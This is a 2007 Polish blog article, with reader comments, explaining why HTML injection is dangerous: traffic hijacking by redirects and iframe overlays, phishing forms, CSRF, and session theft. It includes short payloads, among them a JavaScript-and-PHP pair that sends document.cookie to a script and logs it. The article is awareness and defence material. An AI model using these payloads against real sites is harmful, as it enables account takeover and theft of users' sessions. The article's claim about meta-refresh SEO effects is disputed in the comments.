Niebezpieczeństwo HTML'a
Od dawna w Internecie przyjęło się, że ataki z rodziny HTML Injection są mało groźne i nie warto się nimi przejmować. Potwierdzeniem tego faktu jest ogromna liczba podatnych stron, w skład których wchodzą takie serwisy jak Onet, Wirtualna Polska, Gazeta.pl, a nawet YouTube.
Faktem decydującym o takim stanie rzeczy jest utożsamianie tych ataków z niegroźnymi napisami, obrazkami czy wyskakującymi komunikatami. Poniżej znajduje się kilka przykładów ukazujących co można uzyskać poprzez wykorzystanie ataków z rodziny wstrzyknięć kodu.
Opis: Ataki z rodziny wstrzyknięć kodu HTML
Przejęcie domeny
Przejęcie domeny (ruchu) może nastąpić w momencie przekierowania wchodzących użytkowników pod inny adres. Można tego dokonać na kilka sposobów, korzystając z metatagu refresh, ramek lub JavaScript. Najgroźniejszą metodą jest przekierowanie wykorzystujące metatag refresh. Dzieje się tak ponieważ większość wyszukiwarek interpretuje to przekierowanie jako stałe bądź też tymczasowe (301 / 302). Może to skutkować podmianą adresu naszej strony w indeksie wyszukiwarki, czego rezultatem będzie zniknięcie jej z wyników wyszukiwania.
Rezultatem działania kodu JavaScript oraz ramek jest przekierowania ruchu pod inną domenę. W przypadku komercyjnych stron działanie takie może doprowadzić do przekierowania nieświadomych potencjalnych klientów na stronę konkurencji.
<meta http-equiv="refresh" content="0;url=http://www.inny-adres.pl/" />
Opis: Przekierowanie z użyciem metatagu refresh.
<script> location.href="http://www.wp.pl/"; </script>
Opis: Przekierowanie z użyciem JavaScript.
<iframe src="http://www.onet.pl" style="position:absolute; width:100%; height:100%; top:0px; left:0px;" />
Opis: Ramka zasłaniająca resztę strony.
Phishing
Jak podaje Wikipedia phishing to
... oszukańcze pozyskanie poufnej informacji osobistej ...
Jak wykorzystać to w kwestii HTML Injection? Z przykładowym wykorzystaniem można się zapoznać w notce Phishing w Pasażu Wirtualnej Polski. Jak można w niej zauważyć umiejętne wstrzyknięcie formularza logowania może umożliwić napastnikowi dostęp do poufnych danych użytkownika.
Wykorzystanie błędów aplikacji
Niemal każdego tygodnia Secunia informuje o wykryciu nowych błędów w przeglądarkach internetowych bądź też w dodatkach do nich. Błędów, które wyjątkowo zagrażają bezpieczeństwu użytkowników (ze względu na skalę używalności przeglądarek), a do tego są łatwe do wykonania – wystarczy tylko odpowiednio spreparowany kod HTML.
Łącząc błędy programów z podatnością na atak HTML Injection otrzymujemy możliwość dostępu do większej ilości internautów, a co za tym idzie do zwiększenia skutku ataku.
Przejęcie konta użytkownika
Przejęcia konta użytkownika bez konieczności logowania możliwe jest dzięki kradzieży pliku cookie. Niebezpieczeństwo tego ataku wynika z faktu przechowywania w ciastku identyfikatora sesji, dzięki któremu można powiązać użytkownika z jego kontem. W przypadku gdy agresor podmieni swój identyfikator sesji na identyfikator zalogowanego użytkownika zostanie zidentyfikowany jako właściciel danego konta.
<script type="text/javascript"> document.write( "<img src='new.php?sesja=" document.cookie "' />" ); </script> <?php file_put_contents( 'plik.txt', $_GET['sesja'] ); ?>
Opis: Zestaw skryptów JavaScript oraz PHP umożliwiający kradzież plików cookie.
Wykonanie akcji z uprawieniami zalogowanego użytkownika
Nawet najbardziej wyrafinowane systemy zabezpieczenia kont użytkowników na nic się nie zdadzą jeśli aplikacja będzie podatna na CSRF. Zadaniem CSRF jest wykonanie określonej akcji z uprawnieniami zalogowanego użytkownika. Można to osiągnąć np. ładując dostępną tylko dla zalogowanych użytkownika stronę w ukrytej ramce, odwołując sie do niej poprzez AJAX lub np osadzić ją jako źródło obrazka.
Opis: Przykład działania ataku CSRF
Przedstawione przeze mnie przykłady nie wyczerpują możliwości ataków HTML Injection. Jedynym ich ogranicznikiem jest wyobraźnia atakującego i stopień podatności serwisu.
Na pytanie czy warto się zabezpieczyć niech każdy odpowie sam.
Sauron napisał(a): #1
8.08.2007 23:17
Dobry, a nawet bardzo dobry art...
Sporo przydatnych informacji i nie tylko... Czy mi się wydaje czy, podobny art o XSS już kiedyś istniał?
P.S.
(Do tej ramki z kodem daj highlight_string. Lepiej będzie się czytać. :-))
Sauron napisał(a): #2
8.08.2007 23:23
yyy ;] Nie highlight_string bo to jest do php. ;] Więc lepiej dać geshi :-)
Michał `Bełdzio` Ławicki napisał(a): #3
9.08.2007 09:22
@Sauron kiedyś pisałem o XSS, ale tamten art z perspektywy dnia dzisiejszego jest do bani ;-)
Geshi postaram się dodać jeszcze dziś :)
jaconon napisał(a): #4
9.08.2007 18:55
Artykuł dobrze przedstawia zagadniejnie jakim jest HTML injection, brawo Bełdzio.
Marcin (Ktos) napisał(a): #5
11.08.2007 19:10
Czy warto się zabezpieczyć to pytanie na które łatwo odpowiedzieć. Pytanie jest jednak inne, na które odpowiedź jest trudna - jak się zabezpieczyć? Usuwać wszystkie znaczniki poza określonymi? A jeżeli dajemy użytkownikom prawa do tworzenia własnych szablonów?
Ostatnio (no, na początku zeszłego miesiąca) Allegro (oraz eBay) dostały eksperymentem w którym została bardzo ładnie wypozycjonowana warstwa która przysłoniła oryginalny przycisk licytacji prowadziła do strony phishingowej (http://www.webaudit.pl/blog/2007/bojmy-sie-css/). I jak się zabezpieczyć przed tym? Usuwać position: ze wszystkich CSS, nawet tych "inline"?
Pewną, dobrą całkiem, metodą na pozbycie się zagrożeń związanych z możliwością umieszczenia kodu HTML na stronie jest skorzystanie z jakiegoś popularnego metajęzyka - Textile czy BBCode na przykład. Gdzie jednak może to być zarówno zaletą, jak i wadą, bo nie daje tak bogatych możliwości formatowania treści - aczkolwiek na przykład do komentarzy na blogu wystarczy.
Elf napisał(a): #6
15.08.2007 00:17
Właśnie dopiero co przeczytałem inny artykuł o XSS i CSRF który uświadomił mi wagę tych zagrożeń. Dla zainteresowanych PHP Solutions 02/06.
Oczywiście, textile i BBcode są niezłym zabezpieczeniem, bo są interpretowane przez skrypt. Dają małe możliwości? Można zainwestować w rozwój własnego języka prezentacji treści, albo narzędzie WYSIWYG do tworzenie stron aukcyjnych.
mkane napisał(a): #7
26.08.2007 00:12
Bełdzio jak to Ci pokazałem na przykładach meta refresh, przez wyszukiwarki, nie jest traktowany jako 301/302.
Michał `Bełdzio` Ławicki napisał(a): #8
26.08.2007 13:09
Hmmm widocznie oparłem się na jakiś starych źródłach :-) Dzięki za sprostowanie :-)
Michał `Bełdzio` Ławicki napisał(a): #9
27.08.2007 12:36
Źródła okazały się nie takie stare ;-) Zainteresowanych odsyłam do tematu na PiO